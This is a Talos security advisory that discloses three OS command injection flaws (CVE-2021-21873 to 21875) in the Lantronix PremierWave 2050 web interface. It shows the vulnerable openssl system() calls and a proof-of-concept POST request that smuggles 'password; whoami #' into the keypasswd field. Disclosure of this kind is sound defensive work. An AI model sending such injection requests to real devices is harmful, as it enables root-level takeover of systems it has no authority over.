Talos Vulnerability Report

TALOS-2021-1314

Lantronix PremierWave 2050 Web Manager SSL Credential Upload OS command injection vulnerabilities

NOVEMBER 15, 2021

CVE NUMBER

CVE-2021-21873,CVE-2021-21874,CVE-2021-21875

Summary

Multiple OS command injection vulnerabilities exist in the Web Manager SSL Credential Upload functionality of Lantronix PremierWave 2050 8.9.0.0R4. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities.

Tested Versions

Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU)

Product URLs

https://www.lantronix.com/products/premierwave2050/

CVSSv3 Score

9.1 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

Details

PremierWave 2050 is an embedded Wi-Fi Module manufactured by Lantronix.

Multiple authenticated-by-default command injection vulnerabilities have been found in the Adminstration > SSL > Credentials page of the PremierWave 2050’s “Web Manager” web interface. A user-controlled POST parameter submitted to the site’s `/ssl` endpoint is injected directly into multiple system calls which are executed with root privileges. In this case, an authenticated attacker controls the `keypasswd` POST parameter, which undergoes no validation by the server before being injected into various OpenSSL commands.

CVE-2021-21873 - RSA keypasswd Command Injection

The `keypasswd` parameter will be injected into the below `openssl` command to decrypt a user-supplied private key as if it were RSA.

```
snprintf(
    cmd,
    0x400u,
    "openssl rsa -passin pass:%s -in /tmp/ssl_work/key_in.enc -out /tmp/ssl_work/key_in.pem",
    elem->value);
system(cmd);
```

A properly-formatted HTTP request can escape the intended command and execute arbitrary commands with root privileges.

CVE-2021-21874 - DSA keypasswd Command Injection

If the key is not properly decrypted as RSA, then the `keypasswd` parameter will be injected into the below `openssl` command to decrypt the private key as if it were DSA.

```
snprintf(
    cmd,
    0x400u,
    "openssl dsa -passin pass:%s -in /tmp/ssl_work/key_in.enc -out /tmp/ssl_work/key_in.pem",
    elem->value);
system(cmd);
```

A properly-formatted HTTP request can escape the intended command and execute arbitrary commands with root privileges.

CVE-2021-21875 - EC keypasswd Command Injection

If the key is not properly decrypted as DSA, then the `keypasswd` parameter will be injected into the below `openssl` command to decrypt the private key as if it were ECDSA.

```
snprintf(
    cmd,
    0x400u,
    "openssl ec -passin pass:%s -in /tmp/ssl_work/key_in.enc -out /tmp/ssl_work/key_in.pem",
    elem->value);
system(cmd);
```

A properly-formatted HTTP request can escape the intended command and execute arbitrary commands with root privileges.

```
POST /ssl HTTP/1.1
Host: [IP]:[PORT]
Content-Length: 1109
Cache-Control: max-age=0
Authorization: Basic YnJvd25pZTpwb2ludHM=
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryro8NxaNJXGd9ucKM
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundaryro8NxaNJXGd9ucKM
Content-Disposition: form-data; name="sslcredentialname"

Sample
------WebKitFormBoundaryro8NxaNJXGd9ucKM
Content-Disposition: form-data; name="sslcert"; filename="cert.pem"
Content-Type: application/octet-stream

-----BEGIN CERTIFICATE-----
...
-----END CERTIFICATE-----
------WebKitFormBoundaryro8NxaNJXGd9ucKM
Content-Disposition: form-data; name="certtypefrom"

pem
------WebKitFormBoundaryro8NxaNJXGd9ucKM
Content-Disposition: form-data; name="certpasswd"


------WebKitFormBoundaryro8NxaNJXGd9ucKM
Content-Disposition: form-data; name="sslkey"; filename="key.pem"
Content-Type: application/octet-stream

-----BEGIN PRIVATE KEY-----
...
-----END PRIVATE KEY-----

------WebKitFormBoundaryro8NxaNJXGd9ucKM
Content-Disposition: form-data; name="keytypefrom"

encrypted-pem
------WebKitFormBoundaryro8NxaNJXGd9ucKM
Content-Disposition: form-data; name="keypasswd"

password; whoami #
------WebKitFormBoundaryro8NxaNJXGd9ucKM
Content-Disposition: form-data; name="uploadcert"

Submit
------WebKitFormBoundaryro8NxaNJXGd9ucKM--
```

The above HTTP request results in the execution of the following commands, in order:

```
openssl rsa -passin pass:password; whoami #
openssl dsa -passin pass:password; whoami #
openssl ec -passin pass:password; whoami #
```

Timeline

2021-06-14 - Vendor Disclosure

2021-06-15 - Vendor acknowledged

2021-09-01 - Talos granted disclosure extension to 2021-10-15

2021-10-18 - Vendor requested release push to 2nd week of November. Talos confirmed final extension and disclosure date

2021-11-15 - Public Release

CREDIT

Discovered by Matt Wiseman of Cisco Talos.
